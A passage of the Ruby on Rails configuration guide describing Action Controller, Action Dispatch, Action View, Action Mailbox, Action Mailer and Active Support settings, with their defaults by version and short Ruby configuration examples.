#### [3.9.19. `config.action_controller.action_on_path_relative_redirect`](#config-action-controller-action-on-path-relative-redirect)

Controls how Rails handles paths relative URL redirects.

When set to `:log` (default), Rails will log a warning when a path relative URL redirect is detected. When set to `:notify`, Rails will publish an `unsafe_redirect.action_controller` notification event. When set to `:raise`, Rails will raise an `ActionController::Redirecting::UnsafeRedirectError`.

This helps detect potentially unsafe redirects that could be exploited for open redirect attacks.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:log`               |
| 8.1                   | `:raise`             |

#### [3.9.20. `config.action_controller.log_query_tags_around_actions`](#config-action-controller-log-query-tags-around-actions)

Determines whether controller context for query tags will be automatically updated via an `around_filter`. The default value is `true`.

#### [3.9.21. `config.action_controller.wrap_parameters_by_default`](#config-action-controller-wrap-parameters-by-default)

Before Rails 7.0, new applications were generated with an initializer named `wrap_parameters.rb` that enabled parameter wrapping in `ActionController::Base` for JSON requests.

Setting this configuration value to `true` has the same behavior as the initializer, allowing applications to remove the initializer if they do not wish to customize parameter wrapping behavior.

Regardless of this value, applications can continue to customize the parameter wrapping behavior as before in an initializer or per controller.

See [`ParamsWrapper`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/ParamsWrapper.html) for more information on parameter wrapping.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.9.22. `config.action_controller.allowed_redirect_hosts`](#config-action-controller-allowed-redirect-hosts)

Specifies a list of allowed hosts for redirects. `redirect_to` will allow redirects to them without raising an `UnsafeRedirectError` error.

#### [3.9.23. `ActionController::Base.wrap_parameters`](#actioncontroller-base-wrap-parameters)

Configures the [`ParamsWrapper`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/ParamsWrapper.html). This can be called at the top level, or on individual controllers.

#### [3.9.24. `config.action_controller.escape_json_responses`](#config-action-controller-escape-json-responses)

Configures the JSON renderer to escape HTML entities and Unicode characters that are invalid in JavaScript.

This is useful if you relied on the JSON response having those characters escaped to embed the JSON document in \<script> tags in HTML.

This is mainly for compatibility when upgrading Rails applications, otherwise you can use the `:escape` option for `render json:` in specific controller actions.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 8.1                   | `false`              |

### [3.10. Configuring Action Dispatch](#configuring-action-dispatch)

#### [3.10.1. `config.action_dispatch.cookies_serializer`](#config-action-dispatch-cookies-serializer)

Specifies which serializer to use for cookies. Accepts the same values as [`config.active_support.message_serializer`](#config-active-support-message-serializer), plus `:hybrid` which is an alias for `:json_allow_marshal`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:marshal`           |
| 7.0                   | `:json`              |

#### [3.10.2. `config.action_dispatch.debug_exception_log_level`](#config-action-dispatch-debug-exception-log-level)

Configures the log level used by the [`ActionDispatch::DebugExceptions`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/DebugExceptions.html) middleware when logging uncaught exceptions during requests.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:fatal`             |
| 7.1                   | `:error`             |

#### [3.10.3. `config.action_dispatch.default_headers`](#config-action-dispatch-default-headers)

Is a hash with HTTP headers that are set by default in each response.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is                                                                                                                                                                                                                                                             |
| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| (original)            | ```
{
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "1; mode=block",
  "X-Content-Type-Options" => "nosniff",
  "X-Download-Options" => "noopen",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}
``` |
| 7.0                   | ```
{
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Download-Options" => "noopen",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}
```             |
| 7.1                   | ```
{
  "X-Frame-Options" => "SAMEORIGIN",
  "X-XSS-Protection" => "0",
  "X-Content-Type-Options" => "nosniff",
  "X-Permitted-Cross-Domain-Policies" => "none",
  "Referrer-Policy" => "strict-origin-when-cross-origin"
}
```                                                 |

#### [3.10.4. `config.action_dispatch.default_charset`](#config-action-dispatch-default-charset)

Specifies the default character set for all renders. Defaults to `nil`.

#### [3.10.5. `config.action_dispatch.tld_length`](#config-action-dispatch-tld-length)

Sets the TLD (top-level domain) length for the application. Defaults to `1`.

#### [3.10.6. `config.action_dispatch.domain_extractor`](#config-action-dispatch-domain-extractor)

Configures the domain extraction strategy used by Action Dispatch for parsing host names into domain and subdomain components. This must be an object that responds to `domain_from(host, tld_length)` and `subdomains_from(host, tld_length)` methods.

Defaults to `ActionDispatch::Http::URL::DomainExtractor`, which provides the standard domain parsing logic. You can provide a custom extractor to implement specialized domain parsing behavior:

```
class CustomDomainExtractor
  def self.domain_from(host, tld_length)
    # Custom domain extraction logic
  end

  def self.subdomains_from(host, tld_length)
    # Custom subdomain extraction logic
  end
end

config.action_dispatch.domain_extractor = CustomDomainExtractor
```

#### [3.10.7. `config.action_dispatch.ignore_accept_header`](#config-action-dispatch-ignore-accept-header)

Is used to determine whether to ignore accept headers from a request. Defaults to `false`.

#### [3.10.8. `config.action_dispatch.x_sendfile_header`](#config-action-dispatch-x-sendfile-header)

Specifies server specific X-Sendfile header. This is useful for accelerated file sending from server. For example it can be set to 'X-Sendfile' for Apache.

#### [3.10.9. `config.action_dispatch.http_auth_salt`](#config-action-dispatch-http-auth-salt)

Sets the HTTP Auth salt value. Defaults to `'http authentication'`.

#### [3.10.10. `config.action_dispatch.signed_cookie_salt`](#config-action-dispatch-signed-cookie-salt)

Sets the signed cookies salt value. Defaults to `'signed cookie'`.

#### [3.10.11. `config.action_dispatch.encrypted_cookie_salt`](#config-action-dispatch-encrypted-cookie-salt)

Sets the encrypted cookies salt value. Defaults to `'encrypted cookie'`.

#### [3.10.12. `config.action_dispatch.encrypted_signed_cookie_salt`](#config-action-dispatch-encrypted-signed-cookie-salt)

Sets the signed encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.

#### [3.10.13. `config.action_dispatch.authenticated_encrypted_cookie_salt`](#config-action-dispatch-authenticated-encrypted-cookie-salt)

Sets the authenticated encrypted cookie salt. Defaults to `'authenticated encrypted cookie'`.

#### [3.10.14. `config.action_dispatch.encrypted_cookie_cipher`](#config-action-dispatch-encrypted-cookie-cipher)

Sets the cipher to be used for encrypted cookies. This defaults to `"aes-256-gcm"`.

#### [3.10.15. `config.action_dispatch.signed_cookie_digest`](#config-action-dispatch-signed-cookie-digest)

Sets the digest to be used for signed cookies. This defaults to `"SHA1"`.

#### [3.10.16. `config.action_dispatch.cookies_rotations`](#config-action-dispatch-cookies-rotations)

Allows rotating secrets, ciphers, and digests for encrypted and signed cookies.

#### [3.10.17. `config.action_dispatch.use_authenticated_cookie_encryption`](#config-action-dispatch-use-authenticated-cookie-encryption)

Controls whether signed and encrypted cookies use the AES-256-GCM cipher or the older AES-256-CBC cipher.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.2                   | `true`               |

#### [3.10.18. `config.action_dispatch.use_cookies_with_metadata`](#config-action-dispatch-use-cookies-with-metadata)

Enables writing cookies with the purpose metadata embedded.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 6.0                   | `true`               |

#### [3.10.19. `config.action_dispatch.perform_deep_munge`](#config-action-dispatch-perform-deep-munge)

Configures whether `deep_munge` method should be performed on the parameters. See [Security Guide](security.html#unsafe-query-generation) for more information. It defaults to `true`.

#### [3.10.20. `config.action_dispatch.rescue_responses`](#config-action-dispatch-rescue-responses)

Configures what exceptions are assigned to an HTTP status. It accepts a hash and you can specify pairs of exception/status.

```
# It's good to use #[]= or #merge! to respect the default values
config.action_dispatch.rescue_responses["MyAuthenticationError"] = :unauthorized
```

Use `ActionDispatch::ExceptionWrapper.rescue_responses` to observe the configuration. By default, it is defined as:

```
{
  "ActionController::RoutingError" => :not_found,
  "AbstractController::ActionNotFound" => :not_found,
  "ActionController::MethodNotAllowed" => :method_not_allowed,
  "ActionController::UnknownHttpMethod" => :method_not_allowed,
  "ActionController::NotImplemented" => :not_implemented,
  "ActionController::UnknownFormat" => :not_acceptable,
  "ActionDispatch::Http::MimeNegotiation::InvalidType" => :not_acceptable,
  "ActionController::MissingExactTemplate" => :not_acceptable,
  "ActionController::InvalidAuthenticityToken" => :unprocessable_entity,
  "ActionController::InvalidCrossOriginRequest" => :unprocessable_entity,
  "ActionDispatch::Http::Parameters::ParseError" => :bad_request,
  "ActionController::BadRequest" => :bad_request,
  "ActionController::ParameterMissing" => :bad_request,
  "Rack::QueryParser::ParameterTypeError" => :bad_request,
  "Rack::QueryParser::InvalidParameterError" => :bad_request,
  "ActiveRecord::RecordNotFound" => :not_found,
  "ActiveRecord::StaleObjectError" => :conflict,
  "ActiveRecord::RecordInvalid" => :unprocessable_entity,
  "ActiveRecord::RecordNotSaved" => :unprocessable_entity
}
```

Any exceptions that are not configured will be mapped to 500 Internal Server Error.

#### [3.10.21. `config.action_dispatch.cookies_same_site_protection`](#config-action-dispatch-cookies-same-site-protection)

Configures the default value of the `SameSite` attribute when setting cookies. When set to `nil`, the `SameSite` attribute is not added. To allow the value of the `SameSite` attribute to be configured dynamically based on the request, a proc may be specified. For example:

```
config.action_dispatch.cookies_same_site_protection = ->(request) do
  :strict unless request.user_agent == "TestAgent"
end
```

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `nil`                |
| 6.1                   | `:lax`               |

#### [3.10.22. `config.action_dispatch.ssl_default_redirect_status`](#config-action-dispatch-ssl-default-redirect-status)

Configures the default HTTP status code used when redirecting non-GET/HEAD requests from HTTP to HTTPS in the `ActionDispatch::SSL` middleware.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `307`                |
| 6.1                   | `308`                |

#### [3.10.23. `config.action_dispatch.log_rescued_responses`](#config-action-dispatch-log-rescued-responses)

Enables logging those unhandled exceptions configured in `rescue_responses`. It defaults to `true`.

#### [3.10.24. `config.action_dispatch.show_exceptions`](#config-action-dispatch-show-exceptions)

The `config.action_dispatch.show_exceptions` configuration controls how Action Pack (specifically the [`ActionDispatch::ShowExceptions`](/configuring.html#actiondispatch-showexceptions) middleware) handles exceptions raised while responding to requests.

Setting the value to `:all` configures Action Pack to rescue from exceptions and render corresponding error pages. For example, Action Pack would rescue from an `ActiveRecord::RecordNotFound` exception and render the contents of `public/404.html` with a `404 Not found` status code.

Setting the value to `:rescuable` configures Action Pack to rescue from exceptions defined in [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses), and raise all others. For example, Action Pack would rescue from `ActiveRecord::RecordNotFound`, but would raise a `NoMethodError`.

Setting the value to `:none` configures Action Pack to raise all exceptions.

* `:all` - render error pages for all exceptions
* `:rescuable` - render error pages for exceptions declared by [`config.action_dispatch.rescue_responses`](/configuring.html#config-action-dispatch-rescue-responses)
* `:none` - raise all exceptions

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.1                   | `:all`               |

#### [3.10.25. `config.action_dispatch.strict_freshness`](#config-action-dispatch-strict-freshness)

Configures whether the `ActionDispatch::ETag` middleware should prefer the `ETag` header over the `Last-Modified` header when both are present in the response.

If set to `true`, when both headers are present only the `ETag` is considered as specified by RFC 7232 section 6.

If set to `false`, when both headers are present, both headers are checked and both need to match for the response to be considered fresh.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 8.0                   | `true`               |

#### [3.10.26. `config.action_dispatch.always_write_cookie`](#config-action-dispatch-always-write-cookie)

Cookies will be written at the end of a request if they marked as insecure, if the request is made over SSL, or if the request is made to an onion service.

If set to `true`, cookies will be written even if this criteria is not met.

This defaults to `true` in `development`, and `false` in all other environments.

#### [3.10.27. `config.action_dispatch.verbose_redirect_logs`](#config-action-dispatch-verbose-redirect-logs)

Specifies if source locations of redirects should be logged below relevant log lines. By default, the flag is `true` in development and `false` in all other environments.

#### [3.10.28. `ActionDispatch::Callbacks.before`](#actiondispatch-callbacks-before)

Takes a block of code to run before the request.

#### [3.10.29. `ActionDispatch::Callbacks.after`](#actiondispatch-callbacks-after)

Takes a block of code to run after the request.

### [3.11. Configuring Action View](#configuring-action-view)

`config.action_view` includes a small number of configuration settings:

#### [3.11.1. `config.action_view.cache_template_loading`](#config-action-view-cache-template-loading)

Controls whether or not templates should be reloaded on each request. Defaults to `!config.enable_reloading`.

#### [3.11.2. `config.action_view.field_error_proc`](#config-action-view-field-error-proc)

Provides an HTML generator for displaying errors that come from Active Model. The block is evaluated within the context of an Action View template. The default is

```
Proc.new { |html_tag, instance| content_tag :div, html_tag, class: "field_with_errors" }
```

#### [3.11.3. `config.action_view.default_form_builder`](#config-action-view-default-form-builder)

Tells Rails which form builder to use by default. The default is `ActionView::Helpers::FormBuilder`. If you want your form builder class to be loaded after initialization (so it's reloaded on each request in development), you can pass it as a `String`.

#### [3.11.4. `config.action_view.logger`](#config-action-view-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action View. Set to `nil` to disable logging.

#### [3.11.5. `config.action_view.erb_trim_mode`](#config-action-view-erb-trim-mode)

Controls if certain ERB syntax should trim. It defaults to `'-'`, which turns on trimming of tail spaces and newline when using `<%= -%>` or `<%= =%>`. Setting this to anything else will turn off trimming support.

#### [3.11.6. `config.action_view.frozen_string_literal`](#config-action-view-frozen-string-literal)

Compiles the ERB template with the `# frozen_string_literal: true` magic comment, making all string literals frozen and saving allocations. Set to `true` to enable it for all views.

#### [3.11.7. `config.action_view.embed_authenticity_token_in_remote_forms`](#config-action-view-embed-authenticity-token-in-remote-forms)

Allows you to set the default behavior for `authenticity_token` in forms with `remote: true`. By default it's set to `false`, which means that remote forms will not include `authenticity_token`, which is helpful when you're fragment-caching the form. Remote forms get the authenticity from the `meta` tag, so embedding is unnecessary unless you support browsers without JavaScript. In such case you can either pass `authenticity_token: true` as a form option or set this config setting to `true`.

#### [3.11.8. `config.action_view.prefix_partial_path_with_controller_namespace`](#config-action-view-prefix-partial-path-with-controller-namespace)

Determines whether or not partials are looked up from a subdirectory in templates rendered from namespaced controllers. For example, consider a controller named `Admin::ArticlesController` which renders this template:

```
<%= render @article %>
```

The default setting is `true`, which uses the partial at `/admin/articles/_article.erb`. Setting the value to `false` would render `/articles/_article.erb`, which is the same behavior as rendering from a non-namespaced controller such as `ArticlesController`.

#### [3.11.9. `config.action_view.automatically_disable_submit_tag`](#config-action-view-automatically-disable-submit-tag)

Determines whether `submit_tag` should automatically disable on click, this defaults to `true`.

#### [3.11.10. `config.action_view.debug_missing_translation`](#config-action-view-debug-missing-translation)

Determines whether to wrap the missing translations key in a `<span>` tag or not. This defaults to `true`.

#### [3.11.11. `config.action_view.form_with_generates_remote_forms`](#config-action-view-form-with-generates-remote-forms)

Determines whether `form_with` generates remote forms or not.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| 5.1                   | `true`               |
| 6.1                   | `false`              |

#### [3.11.12. `config.action_view.form_with_generates_ids`](#config-action-view-form-with-generates-ids)

Determines whether `form_with` generates ids on inputs.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.2                   | `true`               |

#### [3.11.13. `config.action_view.default_enforce_utf8`](#config-action-view-default-enforce-utf8)

Determines whether forms are generated with a hidden tag that forces older versions of Internet Explorer to submit forms encoded in UTF-8.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 6.0                   | `false`              |

#### [3.11.14. `config.action_view.image_loading`](#config-action-view-image-loading)

Specifies a default value for the `loading` attribute of `<img>` tags rendered by the `image_tag` helper. For example, when set to `"lazy"`, `<img>` tags rendered by `image_tag` will include `loading="lazy"`, which [instructs the browser to wait until an image is near the viewport to load it](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement/loading#lazy). (This value can still be overridden per image by passing e.g. `loading: "eager"` to `image_tag`.) Defaults to `nil`.

#### [3.11.15. `config.action_view.image_decoding`](#config-action-view-image-decoding)

Specifies a default value for the `decoding` attribute of `<img>` tags rendered by the `image_tag` helper. Defaults to `nil`.

#### [3.11.16. `config.action_view.annotate_rendered_view_with_filenames`](#config-action-view-annotate-rendered-view-with-filenames)

Determines whether to annotate rendered view with template file names. This defaults to `false`.

#### [3.11.17. `config.action_view.preload_links_header`](#config-action-view-preload-links-header)

Determines whether `javascript_include_tag` and `stylesheet_link_tag` will generate a `link` header that preload assets.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `nil`                |
| 6.1                   | `true`               |

#### [3.11.18. `config.action_view.button_to_generates_button_tag`](#config-action-view-button-to-generates-button-tag)

When `false`, `button_to` will render a `<button>` or an `<input>` inside a `<form>` depending on how content is passed (`<form>` omitted for brevity):

```
<%= button_to "Content", "/" %>
# => <input type="submit" value="Content">

<%= button_to "/" do %>
  Content
<% end %>
# => <button type="submit">Content</button>
```

Setting this value to `true` makes `button_to` generate a `<button>` tag inside the `<form>` in both cases.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.11.19. `config.action_view.apply_stylesheet_media_default`](#config-action-view-apply-stylesheet-media-default)

Determines whether `stylesheet_link_tag` will render `screen` as the default value for the `media` attribute when it's not provided.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 7.0                   | `false`              |

#### [3.11.20. `config.action_view.prepend_content_exfiltration_prevention`](#config-action-view-prepend-content-exfiltration-prevention)

Determines whether or not the `form_tag` and `button_to` helpers will produce HTML tags prepended with browser-safe (but technically invalid) HTML that guarantees their contents cannot be captured by any preceding unclosed tags. The default value is `false`.

#### [3.11.21. `config.action_view.sanitizer_vendor`](#config-action-view-sanitizer-vendor)

Configures the set of HTML sanitizers used by Action View by setting `ActionView::Helpers::SanitizeHelper.sanitizer_vendor`. The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is                 | Which parses markup as |
| --------------------- | ------------------------------------ | ---------------------- |
| (original)            | `Rails::HTML4::Sanitizer`            | HTML4                  |
| 7.1                   | `Rails::HTML5::Sanitizer` (see NOTE) | HTML5                  |

`Rails::HTML5::Sanitizer` is not supported on JRuby, so on JRuby platforms Rails will fall back to `Rails::HTML4::Sanitizer`.

#### [3.11.22. `config.action_view.remove_hidden_field_autocomplete`](#config-action-view-remove-hidden-field-autocomplete)

When enabled, hidden inputs generated by `form_tag`, `token_tag`, `method_tag`, and the hidden parameter fields included in `button_to` forms will omit the `autocomplete="off"` attribute.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 8.1                   | `true`               |

#### [3.11.23. `config.action_view.render_tracker`](#config-action-view-render-tracker)

Configures the strategy for tracking dependencies between Action View templates.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:regex`             |
| 8.1                   | `:ruby`              |

### [3.12. Configuring Action Mailbox](#configuring-action-mailbox)

`config.action_mailbox` provides the following configuration options:

#### [3.12.1. `config.action_mailbox.logger`](#config-action-mailbox-logger)

Contains the logger used by Action Mailbox. It accepts a logger conforming to the interface of Log4r or the default Ruby Logger class. The default is `Rails.logger`.

```
config.action_mailbox.logger = ActiveSupport::Logger.new(STDOUT)
```

#### [3.12.2. `config.action_mailbox.incinerate_after`](#config-action-mailbox-incinerate-after)

Accepts an `ActiveSupport::Duration` indicating how long after processing `ActionMailbox::InboundEmail` records should be destroyed. It defaults to `30.days`.

```
# Incinerate inbound emails 14 days after processing.
config.action_mailbox.incinerate_after = 14.days
```

#### [3.12.3. `config.action_mailbox.queues.incineration`](#config-action-mailbox-queues-incineration)

Accepts a symbol indicating the Active Job queue to use for incineration jobs. When this option is `nil`, incineration jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is           |
| --------------------- | ------------------------------ |
| (original)            | `:action_mailbox_incineration` |
| 6.1                   | `nil`                          |

#### [3.12.4. `config.action_mailbox.queues.routing`](#config-action-mailbox-queues-routing)

Accepts a symbol indicating the Active Job queue to use for routing jobs. When this option is `nil`, routing jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is      |
| --------------------- | ------------------------- |
| (original)            | `:action_mailbox_routing` |
| 6.1                   | `nil`                     |

#### [3.12.5. `config.action_mailbox.storage_service`](#config-action-mailbox-storage-service)

Accepts a symbol indicating the Active Storage service to use for uploading emails. When this option is `nil`, emails are uploaded to the default Active Storage service (see `config.active_storage.service`).

### [3.13. Configuring Action Mailer](#configuring-action-mailer)

There are a number of settings available on `config.action_mailer`:

#### [3.13.1. `config.action_mailer.asset_host`](#config-action-mailer-asset-host)

Sets the host for the assets. Useful when CDNs are used for hosting assets rather than the application server itself. You should only use this if you have a different configuration for Action Controller, otherwise use `config.asset_host`.

#### [3.13.2. `config.action_mailer.logger`](#config-action-mailer-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Action Mailer. Set to `nil` to disable logging.

#### [3.13.3. `config.action_mailer.smtp_settings`](#config-action-mailer-smtp-settings)

Allows detailed configuration for the `:smtp` delivery method. It accepts a hash of options, which can include any of these options:

* `:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
* `:port` - On the off chance that your mail server doesn't run on port 25, you can change it.
* `:domain` - If you need to specify a HELO domain, you can do it here.
* `:user_name` - If your mail server requires authentication, set the username in this setting.
* `:password` - If your mail server requires authentication, set the password in this setting.
* `:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.
* `:enable_starttls` - Use STARTTLS when connecting to your SMTP server and fail if unsupported. It defaults to `false`.
* `:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. It defaults to `true`.
* `:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is useful if you need to validate a self-signed and/or a wildcard certificate. This can be the name of one of the OpenSSL verify constants, `'none'` or `'peer'` - or the constant directly `OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`, respectively.
* `:ssl/:tls` - Enables the SMTP connection to use SMTP/TLS (SMTPS: SMTP over direct TLS connection).
* `:open_timeout` - Number of seconds to wait while attempting to open a connection.
* `:read_timeout` - Number of seconds to wait until timing-out a read(2) call.

Additionally, it is possible to pass any [configuration option `Mail::SMTP` respects](https://github.com/mikel/mail/blob/master/lib/mail/network/delivery_methods/smtp.rb).

#### [3.13.4. `config.action_mailer.smtp_timeout`](#config-action-mailer-smtp-timeout)

Prior to version 2.8.0, the `mail` gem did not configure any default timeouts for its SMTP requests. This configuration enables applications to configure default values for both `:open_timeout` and `:read_timeout` in the `mail` gem so that requests do not end up stuck indefinitely.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `nil`                |
| 7.0                   | `5`                  |

#### [3.13.5. `config.action_mailer.sendmail_settings`](#config-action-mailer-sendmail-settings)

Allows detailed configuration for the `:sendmail` delivery method. It accepts a hash of options, which can include any of these options:

* `:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.
* `:arguments` - The command line arguments. Defaults to `%w[ -i ]`.

#### [3.13.6. `config.action_mailer.file_settings`](#config-action-mailer-file-settings)

Configures the `:file` delivery method. It accepts a hash of options, which can include:

* `:location` - The location where files are saved. Defaults to `"#{Rails.root}/tmp/mails"`.
* `:extension` - The file extension. Defaults to the empty string.

#### [3.13.7. `config.action_mailer.raise_delivery_errors`](#config-action-mailer-raise-delivery-errors)

Specifies whether to raise an error if email delivery cannot be completed. It defaults to `true`.

#### [3.13.8. `config.action_mailer.delivery_method`](#config-action-mailer-delivery-method)

Defines the delivery method and defaults to `:smtp`. See the [configuration section in the Action Mailer guide](action_mailer_basics.html#action-mailer-configuration) for more info.

#### [3.13.9. `config.action_mailer.perform_deliveries`](#config-action-mailer-perform-deliveries)

Specifies whether mail will actually be delivered and is `true` by default. It can be convenient to set it to `false` for testing.

#### [3.13.10. `config.action_mailer.default_options`](#config-action-mailer-default-options)

Configures Action Mailer defaults. Use to set options like `from` or `reply_to` for every mailer. These default to:

```
{
  mime_version:  "1.0",
  charset:       "UTF-8",
  content_type: "text/plain",
  parts_order:  ["text/plain", "text/enriched", "text/html"]
}
```

Assign a hash to set additional options:

```
config.action_mailer.default_options = {
  from: "noreply@example.com"
}
```

#### [3.13.11. `config.action_mailer.observers`](#config-action-mailer-observers)

Registers observers which will be notified when mail is delivered.

```
config.action_mailer.observers = ["MailObserver"]
```

#### [3.13.12. `config.action_mailer.interceptors`](#config-action-mailer-interceptors)

Registers interceptors which will be called before mail is sent.

```
config.action_mailer.interceptors = ["MailInterceptor"]
```

#### [3.13.13. `config.action_mailer.preview_interceptors`](#config-action-mailer-preview-interceptors)

Registers interceptors which will be called before mail is previewed.

```
config.action_mailer.preview_interceptors = ["MyPreviewMailInterceptor"]
```

#### [3.13.14. `config.action_mailer.preview_paths`](#config-action-mailer-preview-paths)

Specifies the locations of mailer previews. Appending paths to this configuration option will cause those paths to be used in the search for mailer previews.

```
config.action_mailer.preview_paths << "#{Rails.root}/lib/mailer_previews"
```

#### [3.13.15. `config.action_mailer.show_previews`](#config-action-mailer-show-previews)

Enable or disable mailer previews. By default this is `true` in development.

```
config.action_mailer.show_previews = false
```

#### [3.13.16. `config.action_mailer.perform_caching`](#config-action-mailer-perform-caching)

Specifies whether the mailer templates should perform fragment caching or not. If it's not specified, the default will be `true`.

#### [3.13.17. `config.action_mailer.deliver_later_queue_name`](#config-action-mailer-deliver-later-queue-name)

Specifies the Active Job queue to use for the default delivery job (see `config.action_mailer.delivery_job`). When this option is set to `nil`, delivery jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)).

Mailer classes can override this to use a different queue. Note that this only applies when using the default delivery job. If your mailer is using a custom job, its queue will be used.

Ensure that your Active Job adapter is also configured to process the specified queue, otherwise delivery jobs may be silently ignored.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:mailers`           |
| 6.1                   | `nil`                |

#### [3.13.18. `config.action_mailer.delivery_job`](#config-action-mailer-delivery-job)

Specifies delivery job for mail.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is              |
| --------------------- | --------------------------------- |
| (original)            | `ActionMailer::MailDeliveryJob`   |
| 6.0                   | `"ActionMailer::MailDeliveryJob"` |

### [3.14. Configuring Active Support](#configuring-active-support)

There are a few configuration options available in Active Support:

#### [3.14.1. `config.active_support.bare`](#config-active-support-bare)

Enables or disables the loading of `active_support/all` when booting Rails. Defaults to `nil`, which means `active_support/all` is loaded.

#### [3.14.2. `config.active_support.test_order`](#config-active-support-test-order)

Sets the order in which the test cases are executed. Possible values are `:random` and `:sorted`. Defaults to `:random`.

#### [3.14.3. `config.active_support.escape_html_entities_in_json`](#config-active-support-escape-html-entities-in-json)

Enables or disables the escaping of HTML entities in JSON serialization. Defaults to `true`.

#### [3.14.4. `config.active_support.use_standard_json_time_format`](#config-active-support-use-standard-json-time-format)

Enables or disables serializing dates to ISO 8601 format. Defaults to `true`.

#### [3.14.5. `config.active_support.time_precision`](#config-active-support-time-precision)

Sets the precision of JSON encoded time values. Defaults to `3`.

#### [3.14.6. `config.active_support.hash_digest_class`](#config-active-support-hash-digest-class)

Allows configuring the digest class to use to generate non-sensitive digests, such as the ETag header.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is      |
| --------------------- | ------------------------- |
| (original)            | `OpenSSL::Digest::MD5`    |
| 5.2                   | `OpenSSL::Digest::SHA1`   |
| 7.0                   | `OpenSSL::Digest::SHA256` |

#### [3.14.7. `config.active_support.key_generator_hash_digest_class`](#config-active-support-key-generator-hash-digest-class)

Allows configuring the digest class to use to derive secrets from the configured secret base, such as for encrypted cookies.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is      |
| --------------------- | ------------------------- |
| (original)            | `OpenSSL::Digest::SHA1`   |
| 7.0                   | `OpenSSL::Digest::SHA256` |

#### [3.14.8. `config.active_support.use_authenticated_message_encryption`](#config-active-support-use-authenticated-message-encryption)

Specifies whether to use AES-256-GCM authenticated encryption as the default cipher for encrypting messages instead of AES-256-CBC.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 5.2                   | `true`               |

#### [3.14.9. `config.active_support.message_serializer`](#config-active-support-message-serializer)

